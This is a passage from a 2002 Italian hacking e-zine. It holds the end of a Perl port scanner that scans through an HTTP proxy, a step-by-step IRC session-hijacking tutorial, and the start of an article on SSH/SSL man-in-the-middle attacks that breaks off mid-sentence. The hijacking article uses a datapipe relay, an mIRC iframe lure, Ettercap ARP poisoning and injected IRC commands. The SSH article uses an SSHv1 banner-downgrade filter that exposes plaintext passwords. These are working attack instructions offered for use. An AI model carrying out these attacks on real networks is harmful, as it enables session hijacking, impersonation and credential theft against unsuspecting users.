| print "byhttpscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "Let's go..scanning target: $target ... \n"; |
| |
| for( $i = $start; $i <= $end; $i++ ) |
| { |
| print ("Checking port: __ $i __ ..."); |
| |
| $sd = IO::Socket::INET -> new( PeerAddr => $proxy , |
| PeerPort => $p_port , |
| Proto => "tcp" ) || |
| die "is better to change HTTP proxy...maybe is |
| down..\n"
; |
| |
| $send = "GET HTTP:\/\/$target:$i\/ HTTP\/1.0\n\n\n\n"; |
| print $sd "$send"; |
| |
| read $sd, $x, 30; |
| |
| if( $x !~"503" ) |
| { |
| print "Yeah..port is open!\n"; |
| print "And the banner is:\n\n"; #commenta queste 2 linee se non |
| print "$x\n"; #vuoi vedere il banner |
| } |
| else { |
| |
| print "Mmm..this port result closed\n; |
| } |
| |
| close $sd; |
| |
| } |
| |
| |
| ________________________________splitta qui________________________ |
| |
| |
| |
| Ora, l'unico problema che possiamo incontrare quando usiamo proxy HTTP |
| e' il range di porte da scannare; ovvero, gran parte dei proxy server, |
| se settati correttamente non sempre permettono connessioni in uscita |
| verso tutte òle porte, ma di solito solo da 80 e oltre la 1024. |
| Potremme risolvere la cosa aggiungendo nel programma precedente un |
| controllo di uscita, ovvero controllare se effettivamente il proxy |
| instaura una connessione con l'obiettivo. |
| |
| |
| |
| Come abbiamo potuto vedere,un attacker,bene o male intenzionato che sia, |
| ha diverse strade per raggiungere lo scopo: potrebbe quindi facilmente |
| mapparsi intere reti in cerca di porte aperte e/o servizi conosciuti e |
| familiari da exploitare; e tutto questo senza essere identificato da IDS |
| e firewall grazie al *distribuited scan*. |
| In aggiunta, l'attacker ha anche la possibilita' si bypassare i settaggi |
| dei firewall e dei proxy servers, cosi' come di altri servers, |
| semplicemente utilizzando un indirizzo compreso in un range di IP di |
| classi privilegiate alle quali e' consentito passare. |
| |
| |
| |
| Ma cosa possiamo fare per rimediare a tutto cio'? |
| Tutti i protocolli proxy hanno una opzione che permette di settare user |
| e passwd per potersi agganciare ed uscire; questo e' cmq un settaggio |
| molto poco usato. |
| Per quanto riguarda invece gli Intrusion Detection Systems potrebbero |
| essere riconfigurati non allarmandosi per plurisessioni da un singolo |
| IP, |
| bensi' in modo tale da allarmarsi quando vengono rilevati troppi probes |
| verso porte *chiuse* in un certo lasso di tempo.. |
| Secondo la mia misera opinione, i distribuited scan* diverranno molto |
| comuni,quindi ben presto IDS e FW saranno *istruiti* a rilevarli. |
| |
| |
| |
| Tutti i programmi che ho inserito , possono essere molto implementati |
| ancora. Ad esempio includendo scan con threads multipli che |
| velocizzarebbero il lavoro di un bel po'. |
| Anche in perl la funzione che ci permette di "
splittare" un processo in |
| un processo padre ed un figlio e' la classica fork(), ma che |
| purtroppo non conosco bene visto che prediligo la programmazione in C. |
| Tant'e' che esistono programmi che arrivano anche a molti thread che |
| lavorano in simultanea. L'ultimo prog di questo genere che ho testato, |
| e che ritengo molto valido (se non uno dei + validi), e' Hydra dei "
The |
| Hacker's Choice". Hydra e' un bruteforcer sofisticato che permette scan |
| a dizionario specifiche sistema per sistema: scansioni per porte telnet, |
| porte ftp, router cisco etc.. permette addirittura di sfruttare ben 128 |
| thread in imultanea, riducendo quindi di 128 volte il tempo che ci |
| vorrebbe con un normale bruteforcer. |
| E' pero' anche da considerare che servirsi di 128 thread in simultanea |
| risulta anche un po' rumoroso...visto che 128 thread significano anche |
| 128 socket aperti sull'obiettivo... |
| |
| |
| |
| Potrebbero anche venire implementati per selezionare proxy e |
| "
target-port" in modo causale tramite la funzione random(3); |
| questo metodo consentirebbe anche di prevenire settaggi futuri di IDS |
| e firewall. |
| |
| Spero di essere stato chiaro su tutti i punti. |
| |
| |
| |
| /* */ |
| /* Bye && Thanks to: FuSyS, Nobody, Tritemius, Naif, WishMaster, */ |
| /* :raptor, Morpheo, embyte, MightyInquisitor, */ |
| /* MoF, UIHA e..chi manca ma si sente incluso */ |
| /* */ |
| /* Bfi, OndaQuadra, Phrack, Whitepapers varie */ |
| /* */ |
| /* */ |
| /* Fucks to : anyone */ |
| /* */ |
| /* */ |
| /* NON NELLA CONOSCENZA STA IL POTERE, */ |
| /* BENSI' NELL'ACQUISIZIONE DELLA CONOSCENZA!"
*/
|
| /* */ |
| /* */ |
| /* */ |
| /* ..::SNHYPER::.. */ |
| /* snhyper@hotmail.com */ |
| /* "Security Developer" */ |
| /* Linux registered user #249109 */ |
| /* Linux registered machine #133922 */ |
| /* */ |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| |
| mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk |
| HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF |
| Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q |
| nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ |
| 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW |
| dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 |
| 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S |
| SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU |
| EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z |
| yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 |
| LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U |
| ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K =uAC7 |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| iRC HiJACKiNG [E4zy] 0x07/0x19 |
+--------------------------------------------------------------------------+
| 1. Premessa |
| |
| 2. Intro |
| |
| 3. Requisiti |
| |
| 4. Hijacking |
| 4.1 Datapipe |
| 4.2 mIRC Bug |
| 4.3 Ettercap |
| |
| 5. Characters Injection |
| |
| 6. Risorse |
| |
| |
| |
| 1. Premessa |
| Non è intenzione dell'autore del presente articolo incentivare alcuna |
| azione atta a ledere la privacy e il quieto vivere di altri utenti, |
| bensì con il presente si intende dimostrare l'estrema facilità con cui |
| un utente malintenzionato possa mettere a segno un attacco atto a minare |
| l'integrità della comunicazione durante una sessione IRC. |
| |
| 2. Intro |
| Lo scopo di questo articolo è quello di illustrare una tecnica che |
| permetta di prendere possesso della sessione di un utente al fine di |
| inviare messaggi al canale ed interagire con ogni comando del server IRC |
| in genere. |
| |
| 3. Requisiti |
| Ecco una breve lista di ciò di cui ho avuto bisogno per mettere in |
| pratica quanto verrà detto in seguito: |
| |
| Datapipe |
| Permette di redirigere il traffico in ingresso su una determinata porta |
| dell'host locale verso un host e una porta arbitrari; |
| |
| Ettercap |
| E' un tool che permette di sniffare e fare hijacking di una sessione |
| utilizzando svariate tecniche tra cui l'avvelenamento delle cache ARP |
| che sarà quella di cui mi servirò in seguito; |
| |
| LAN con due host Unix/Linux connessi a Internet |
| Il primo eseguirà il datapipe e ospiterà la sessione, l'altro host sarà |
| quello dal quale eseguiremo Ettercap per fare hijacking della sessione |
| che rimbalza su di noi. |
| |
| 4. Hijacking |
| |
| 4.1 Datapipe |
| Procuratevi un datapipe, personalmente ho utilizzato datapipe.c di Jeff |
| Lawson, ponete in ascolto la porta 6667 mediante l'utilizzo del datapipe |
| su uno dei due host che prendono parte alla vostra rete locale e fate in |
| modo che il traffico in ingresso su tale porta venga rediretto verso il |
| server irc sulla porta 6667, esempio: |
| |
| attacker@datapipe:~$ ./datapipe 192.168.1.5 6667 irc.azzurra.org 6667 |
| |
| A questo punto qualsiasi connessione in ingresso sulla porta 6667 dell' |
| host locale 192.168.1.5 verrà rediretta verso il server IRC di Azzurra. |
| Ora non vi resta che nattare(2) la porta 6667 sul vostro router di |
| confine per permettere una connessione p

  
roveniente dall'esterno verso |
| l'host locale che esegue il datapipe. |
| |
| (2)nattare: deriva da NAT (Network Address Translation), permette la |
| traduzione di un indirizzo IP in un altro, nel nostro caso permette di |
| mettere in relazione la porta 6667 del router di confine con la stessa |
| porta di un host interno alla rete locale (192.168.1.5) al fine di |
| permettere l'accesso da parte di host esterni. |
| |
| 4.2 mIRC Bug |
| Ora il vostro sistema è pronto per ricevere una connessione da parte di |
| un utente remoto, il quale verrà reinstradato tramite datapipe al server |
| IRC in modo del tutto trasparente, non dovete far altro che trovare un |
| utente che si connetta con il client IRC al vostro datapipe. |
| |
| Un utente malizioso potrebbe sfruttare un bug abbastanza conosciuto del |
| mIRC 5.9 e 5.91 per far connettere la vittima al proprio datapipe, la |
| vulnerabilità consiste nella possibilità di costruire una pagina web |
| contenente un particolare tag html che permette di lanciare il client |
| mIRC e farlo connettere ad un server arbitrario specificato all'interno |
| della pagina html stessa. |
| |
| <iframe src="irc://vostro_IP:6667"> |
| |
| Basterà che la vittima visiti la pagina web contenente il tag html |
| appena illustrato per causare la connessione della stessa all'IP |
| specificato. |
| |
| 4.3 Ettercap |
| Ora che avete un utente potenziale connesso al server IRC tramite il |
| vostro datapipe potete alterare la sessione di tale utente a vostro |
| piacimento. |
| Ettercap permette di fare hijacking in maniera semplice ed efficace |
| utilizzando una tecnica conosciuta come ARP poisoning che consente di |
| avvelenare la cache ARP di host locali al fine di alterarne il processo |
| di risoluzione degli indirizzi IP in indirizzi MAC. |
| Ettercap inoltre permette di inserire traffico arbitrario all'interno |
| della sessione provvedendo a ricalcolare i campi sequence number e |
| acknowledgement number al fine di mantenere la sincronizzazione della |
| connessione. |
| L'utilizzo di un secondo host si rende necessario in quanto Ettercap NON |
| permette l'avvelenamento della cache ARP dell'host sul quale viene |
| eseguito, pertanto sarebbe impensabile eseguire il datapipe e Ettercap |
| sullo stesso host per le limitazione appena evidenziate. |
| |
| attacker@attack:~# ettercap |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ? 1) 192.168.1.4 1) 192.168.1.4 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.5 5) 192.168.1.5 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Il menù principale di Ettercap è costituito dall'elenco degli IP degli |
| host che prendono parte alla rete locale. Dovremo procedere selezionando |
| dall'elenco a sinistra l'IP dell'host sorgente della sessione e a destra |
| quello dell'host destinatario. |
| Nel nostro caso l'IP sorgente è quello dell'host su cui gira il datapipe |
| ovvero 192.168.1.5 e l'IP dell'host destinatario è quello del gateway |
| cioè 192.168.1.1, una volta scelti questi IP nella maniera opportuna |
| sarà possibile procedere al poisoning della cache ARP dei due host |
| mediante la pressione del tasto A. |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.5 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ? 1) 212.171.XXX.XX:3600 <--> 192.168.1.5:6667 ? silent |
| ? 2) 192.168.1.5:1028 <--> 192.106.224.132:6667 ? silent |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Ora il traffico tra i due host risulta dirottato e possiamo osservare e |
| modificare a nostro piacimento i dati in ingresso/uscita. |
| Nell'esempio qui sopra la voce 1) si riferisce alla sessione stabilita |
| tra il client IRC remoto e il datapipe, mentre la voce 2) rappresenta la |
| sessione tra datapipe e server IRC. |
| A questo punto selezioniamo la sessione 2) e iniziamo ad osservare il |
| traffico che transita in chiaro sul nostro segmento di rete, una breve |
| conversazione come questa... |
| |
| [00:31:11] <victim> ciao e4zy |
| [00:32:19] <E4zy> ciao |
| [00:33:03] <victim> come va? |
| [00:33:17] <E4zy> tutto bene, grazie |
| |
| ...verrà riportata come output di Ettercap in un formato un po' meno |
| leggibile, dove sulla sinistra viene riportato il traffico in uscita dal |
| client diretto al server, mentre sulla destra il traffico in uscita dal |
| server diretto verso il client: |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.5 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ??192.168.1.5:1028???????????????? ?192.106.224.132:6667???????????????? |
| ??PRIVMSG #ondaquadra :ciao e4zy.? ?:E4zy!~none@AzzurraNet-65135.42-151. |
| ??PRIVMSG #ondaquadra :come va?. ? ?net24.it PRIVMSG #ondaquadra :ciao. |
| ?? ? ?:E4zy!~none@AzzurraNet-65135.42-151. |
| ?? ? ?net24.it PRIVMSG #ondaquadra :tutto |
| ?? ? ?bene, grazie. |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???ASCII?????????????????????????? ??ASCII?????????????????????????????? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Usando il tasto TAB è possibile passare da una metà schermo all'altra in |
| modo tale da poter intervenire sul lato client o sul lato server a |
| seconda di dove si trova la finestra attiva. |
| |
| 5. Characters Injection |
| Per adempiere al nostro scopo abbiamo bisogno di spostarci sul server |
| side (una sola pressione del tasto TAB) al fine di inviargli comandi da |
| parte del client dirottato, a questo punto premendo il tasto I si aprirà |
| una finestra che ci permette di iniettare dei comandi nello stream che |
| verranno elaborati dal server, vediamo un esempio: |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.5 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ???????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ??????????? |
| ??192.168.1.5:1028??????????????? ?192.106.224.132:6667????????????????? |
| ??PR??Type characters to be injected (max 1000):?????????????????? |
| ??PR? ?2-151. |
| ?? ?PRIVMSG #ondaquadra :sono stupido!\r\n ?tutto |
| ? |
| ?? ? ?2-151. |
| ?? ? ?tutto |
| ? |
| ?? ? ?2-151. |
| ?? ? ?tutto |
| ? |
| ? |
| ???ASCII???????????????????????????????????????????????????????????????? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Quando inviamo comandi al lato server è sempre bene farli seguire dai |
| caratteri \r\n che sostituiscono la pressione del tasto INVIO che ne |
| permette l'esecuzione, ecco il risultato del comando precedente: |
| |
| [00:31:11] <victim> ciao e4zy |
| [00:32:19] <E4zy> ciao |
| [00:33:03] <victim> come va? |
| [00:33:17] <E4zy> tutto bene, grazie |
| [00:33:49] <victim> sono stupido! |
| |
| L'ultima frase pronunciata dalla vittima non è farina del suo sacco |
| bensì è il frutto dell'iniezione di caratteri da parte dell'attacker |
| nella sessione dirottata. |
| Il client IRC della vittima sarà l'unico a non visualizzare tale frase |
| pertanto non desterà in lei alcun sospetto, il messaggio sarà in ogni |
| caso visibile da tutti gli utenti del canale. |
| |
| L'iniezione di caratteri all'interno della sessione TCP non si limita a |
| fornire la possibilità di inoltrare messaggi al canale da parte della |
| vittima, bensì permette l'esecuzione di ogni genere di comando sul |
| server IRC alla sola condizione di conoscere il protocollo a livello |
| applicazione con cui il client e il server comunicano, qui di seguito vi |
| propongo una serie di esempi un po' più fantasiosi: |
| |
| |
| JOIN #canale Fa joinare la vittima in un canale a |
| vostra scelta |
| |
| NICK nickname Cambia il nick della vittima in uno di |
| vostro gradimento |
| |
| MODE #canale +o nickname Fa si che la vittima oppi nickname nel |
| canale specificato, il nickname potrebbe |
| essere il vostro |
| |
| KICK #canale nickname Fa si che la vittima kicki nickname nel |
| canale specificato |
| |
| PRIVMSG nickname :msg Invia una query a nickname da parte |
| della vittima contenente il testo msg |
| |
| ns ACCESS ADD mask Se il server IRC su cui si trova la |
| vittima dispone di servizi come Nickserv |
| potete addare la vostra mask in modo da |
| essere riconosciuti come proprietari del |
| nick...non siate lameri :) |
| |
| Questi comandi dovranno essere sempre seguiti dai caratteri \r\n che ne |
| permettono l'esecuzione da parte del server. |
| Provando a sniffare una vostra sessione sarete in grado di evidenziare |
| ulteriori comandi utilizzabili in tale contesto. |
| |
| 6. Risorse |
| # mount -t mind /dev/brain /mnt/head |
| README.ettercap.txt |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| HACK CRYPTOGRAPHiC TUNNELS [E4zy] 0x08/0x19 |
+--------------------------------------------------------------------------+
| 1. Intro |
| |
| 2. SSH Protocol |
| 2.1 RSA Key Exchange |
| |
| 3. SSH Attack |
| 3.1 ARP Poisoning |
| 3.2 DNS Spoofing |
| 3.3 Contromisure |
| |
| 4. SSL Protocol |
| |
| 5. SSL Attack |
| 5.1 Webmitm |
| |
| 6. Risorse |
| |
| |
| |
| 1. Intro |
| Il fiorire del commercio elettronico rappresenta la ragione alla base |
| dei recenti sforzi compiuti per migliorare la sicurezza delle |
| transizioni in rete, in particolare, l'integrazione della crittografia |
| nei protocolli di rete è espressione di un dilagante bisogno di |
| sicurezza. |
| Tuttavia gli strumenti che attuano la crittografia dei dati e ne |
| permettono il trasferimento "sicuro" in rete non sono immuni alle |
| vulnerabilità e vanno usati con tale consapevolezza. |
| Il proposito dell'autore è quello di guidare il lettore attraverso un |
| percorso che illustri le tecniche in grado di attentare alla |
| riservatezza e all'integrità dei dati trasmessi attraverso un tunnel |
| crittografico. |
| |
| 2. SSH Protocol |
| SSH fornisce un livello trasporto sicuro attraverso un tunneling |
| crittografico che garantisce la segretezza e l'integrità dei dati |
| trasmessi attraverso un mezzo potenzialmente insicuro: Internet. |
| |
| 2.1 RSA Key Exchange |
| Il processo di autenticazione RSA a livello host permette di stabilire |
| l'identità dell'interlocutore all'altro capo del "cavo", questo fornisce |
| ulteriori garanzie in termini di sicurezza e permette di identificare in |
| maniera univoca gli host con cui si desidera stabilire una sessione SSH. |
| Una breve panoramica del processo di autenticazione RSA si rende a |
| questo punto indispensabile per comprendere a fondo la dinamica dello |
| scambio delle chiavi pubbliche e di sessione. |
| |
| Nel momento in cui il server sshd rivece una richiesta di connessione da |
| parte di un client, risponde inviando la propria chiave host pubblica e |
| la propria chiave server pubblica, quest'ultima viene rigenerata |
| periodicamente. A questo punto il client verifica l'autenticità della |
| chiave host pubblica inviata dal server con un database memorizzato |
| localmente. |
| Se non siamo in possesso di tale chiave nel database probabilmente è la |
| prima volta che stabiliamo una connessione con l'host remoto, pertanto |
| ci verrà richiesto se desideriamo aggiungere tale chiave al nostro |
| database. |
| Una volta convalidata la chiave host pubblica del server la sessione può |
| avere luogo, a tale fine il client inoltra una chiave di sessione di 256 |
| bit crittografata con entrame le chiavi pubbliche del server. |
| La chiave di sessione verrà utilizzata da entrambi gli host per generare |
| la chiave segreta dell'algoritmo di crittografia simmetrico che verrà |
| utilizzato per il resto della comunicazione. |
| |
| 3. SSH Attack |
| Per compromettere una sessione SSH dobbiamo trovarci nella condizione |
| di possedere la chiave privata in grado di decriptare il traffico |
| crittografato dal client con chiave pubblica. Questo ci permetterà in un |
| secondo momento di venire in possesso della chiave di sessione che verrà |
| utilizzata da ambo i lati per crittografare con algoritmo simmetrico |
| l'intera sessione. |
| |
| 3.1 ARP Poisoning |
| L'avvelenamento della cache ARP ci permette di influenzare |
| l'instradamento del traffico di host presenti nella nostra stessa rete |
| LAN, in questo modo siamo in grado di dirottare una sessione SSH |
| attraverso il nostro stesso sistema. |
| In tal modo la chiave pubblica inviata dal server transiterà attraverso |
| di noi prima di giungere al client, questo ci darà modo di sostituirla |
| con una chiave pubblica fasulla emessa da noi stessi. |
| Nel caso in cui il client stia effettuando una connessione con tale host |
| per la prima volta non noterà alcuna anomalia, in caso contrario |
| riscontrerà una incoerenza tra la chiave pubblica del server memorizzata |
| nel database locale e quella appena ricevuta, l'utente verrà avvertito |
| da un messaggio di questo tipo e gli verrà richiesto se desidera |
| continuare: |
| |
| victim@victim:~# ssh 192.168.1.5 |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @ WARNING: HOST IDENTIFICATION HAS CHANGED! @ |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! |
| Someone could be eavesdropping on you right now (man-in-the-middle [...] |
| It is also possible that the host key has just been changed. |
| Please contact your system administrator. |
| Add correct host key in /root/.ssh/known_hosts to get rid of this [...] |
| Agent forwarding is disabled to avoid attacks by corrupted servers. |
| X11 forwarding is disabled to avoid attacks by corrupted servers. |
| Are you sure you want to continue connecting (yes/no)? |
| |
| Esiste tuttavia un modo per evitare questo spiacevole inconveniete, il |
| modo migliore per aggirare questo controllo è quello di alterare la |
| negoziazione della versione del protocollo SSH. |
| Esistono due protocolli con cui il client e il server sono in grado di |
| comunicare, questi sono SSHv1 e SSHv2, i demoni più recenti supportano |
| entrambi i protocolli ma danno una priorità maggiore alla versione 2 del |
| protocollo. |
| Per vedere le versioni del protocollo SSH supportate dal server basterà |
| aprire una sessione telnet con esso e verificare il banner che potrà |
| apparire come segue: |
| |
| SSH-1.5-OpenSSH_2.9p1 |
| Il server ssh supporta solo la versione 1 del protocollo; |
| |
| SSH-1.99-OpenSSH_2.9p1 |
| Il server ssh supporta entrambi i protocolli ma darà maggior precedenza |
| alla versione 2, questa è la situazione con cui più comunemente avremo a |
| che fare; |
| |
| SSH-2.0-OpenSSH_2.9p1 |
| Il server ssh supporta solo la versione 2 del protocollo. |
| |
| Tutto ciò che dobbiamo fare è trovarci nel mezzo al fine di alterare il |
| banner che verrà presentato al client nel momento della connessione, in |
| questo modo faremo credere a quest'ultimo che il demone supporti |
| esclusivamente la versione 1 del protocollo, il client a questo punto |
| aprirà una sessione in protocollo versione 1. |
| Ora non solo siamo in grado di sniffare l'intera sessione ma il client |
| NON visualizzerà alcun messaggio di avvertimento in cui notifica |
| l'incoerenza della chiave pubblica e l'attacco potrà procedere in |
| maniera del tutto trasparente agli occhi della vittima. |
| Questo è dovuto al fatto che il client SSH tiene due database di chiavi |
| pubbliche separati, uno per la versione 2 del protocollo e uno per la |
| versione 1 che con tutta probabilità non conterrà alcuna chiave |
| impedendo ogni riscontro. |
| |
| La chiave di sessione utilizzata da client e server side per |
| crittografare in chiave simmetrica l'intera sessione cadrà nelle mani di |
| chi attacca che potrà decriptare ogni successiva comunicazione. |
| A questo punto non resta che crittografare la chiave di sessione emessa |
| dal client con la chiave pubblica del server precedentemente ricevuta e |
| inviarla al server, la sessione avrà luogo normalmente e noi possediamo |
| la chiave di sessione! |
| |
| Un tool in grado di dimostrare la validità di quanto ho appena affermato |
| è Ettercap, esso si è dimostrato in grado di sniffare in chiaro una |
| sessione SSHv1 tra due host avvelenandone la cache ARP. |
| |
| attacker@attack:~# ettercap |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 6 hosts in this LAN (192.168.1.6 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.6 1) 192.168.1.6 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.4 5) 192.168.1.4 |
| ? 6) 192.168.1.5 6) 192.168.1.5 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?????????????? Your IP: 192.168.1.6 Iface: eth0 Link: HUB ?????????????? |
| ? Host: Unknown host (192.168.1.6) |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Una volta lanciato Ettercap vi da la possibilità di selezionare la |
| sorgente e la destinazione del traffico che si desidera sniffare... |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.4 |
| ? |
| ?DEST : 192.168.1.5 |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 6 hosts in this LAN (192.168.1.6 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.6 1) 192.168.1.6 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.4 5) 192.168.1.4 |
| ? 6) 192.168.1.5 6) 192.168.1.5 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?????????????? Your IP: 192.168.1.6 Iface: eth0 Link: HUB ?????????????? |
| ? Host: Unknown host (192.168.1.4) |
| ? Host: Unknown host (192.168.1.5) |
| ???????????????????????????????????????????????????????????????????????? |
| |
| ...i due IP selezionati sono rispettivamente quello del client e del |
| server SSH e vengono evidenziati in alto a sinistra, per avvelenare la |
| cache ARP dei due host premere il tasto "A", vi verrà chiesta conferma |
| prima di procedere con tale operazione. |
| Ora premendo il tasto "F" accediamo alla sezione relativa ai filtri e |
| configuriamo Ettercap in modo da sostituire il banner server side con |
| uno a nostra discrezione; per far questo dobbiamo settare un filtro |
| relativo all'host destinazione avente le seguenti caratteristiche: |
| |
| Proto: TCP |
| Source port: 22 |
| Dest port: 0 |
| Search: SSH-1.99 |
| Action: Replace |
| Replace: SSH-1.5 |
| |
| |
| ??????????????????????????? ettercap 0.6.3.1 ??????????????????????????? |
| ?SOURCE: 192.168.1.4 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) |
| ?DEST : 192.168.1.5 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 6 hosts in this LAN (192.168.1.6 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.4:1022 <--> 192.168.1.5:22 ? silent ? SSH decrypt |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?????????????? Your IP: 192.168.1.6 Iface: eth0 Link: HUB ?????????????? |
| ? USER: root |
| ? PASS: secret |
| ???????????????????????????????????????????????????????????????????????? |
| |
| ...nel momento in cui il client cerca di stabilire una connessione con |
| il server il nome utente e la password compaiono in chiaro nell'angolo |
| in basso a sinistra, l'intera sessione è visibile in chiaro selezionando |
| la voce contraddistinta dal numero 1. |
| |
| 3.2 DNS Spoofing |
| L'argomento DNS spoofing è stato analizzato in dettaglio nel corso dell' |
| articolo "DNS Spoofing Attack" comparso nel numero 06 di OndaQuadra |
| pertanto chiunque fosse interessato ad approfondire tale argomento è |
| invitato a fare riferimento all'articolo appena citato, qui di seguito |
| riporto alcuni passi tratti da tale articolo: |
| |
| "I resolver, ovvero i programmi che generano le interrogazioni verso un |
| NS (NameServer), si avvalgono del protocollo UDP notoriamente insicuro |
| in quanto non garantisce l'avvenuta ricezione del pacchetto da parte |
| dell'host destinatario (non confermato) e non stabilisce una connessione |
| (non connesso), dando modo ad un malintenzionato di ledere alla |
| sicurezza della sessione stessa. |
| Una query DNS (interrogazione) può essere intercettata da un host remoto |
| malevolo il quale spoofando il source address del pacchetto IP può |
| inviare una risposta al mittente come se provenisse dal server DNS, la |
| DNS reply conterrà informazioni atte all'alterazione della sessione che |
| il mittente della query si appresta ad intraprendere. |
| Naturalmente questa tecnica avrà successo solo nel caso in cui la |
| risposta fasulla dovesse giungere a destinazione prima della reply |
| legittima proveniente dal NS che verrebbe di conseguenza ignorata."
|
| |
| Sshmitm è un tool che opera come un server SSHv1 malevolo, il suo |
| compito è quello di accettare le richieste di connessione provenienti |
| dal client ssh vittima dello spoofing DNS e redirigerle verso il server |
| reale. |
| Sshmitm emetterà una propria chiave pubblica, il client ssh notificherà |
| che la chiave pubblica del server è cambiata, tuttavia, nel caso in cui |
| l'utente dia il proprio consenso a proseguire la connessione, la chiave |
| fasulla emessa da Sshmitm sarà la stessa che usarà il client ssh per |
| crittografare la chiave di sessione che sarà in tal modo visibile dall' |
| attacker, in seguito Sshmitm opererà come un proxy per la sessione SSH |
| inoltrando tutto il traffico verso il server sshd legittimo e fornendo a |
| chi attacca il nome utente e la password utilizzate dal client per |
| autenticarsi sul sistema remoto. |
| |
| Vediamo ora un assaggio di come mettere a frutto quanto imparato, come |
| prima cosa prepariamoci a spoofare l'interrogazione DNS con l'IP con cui |
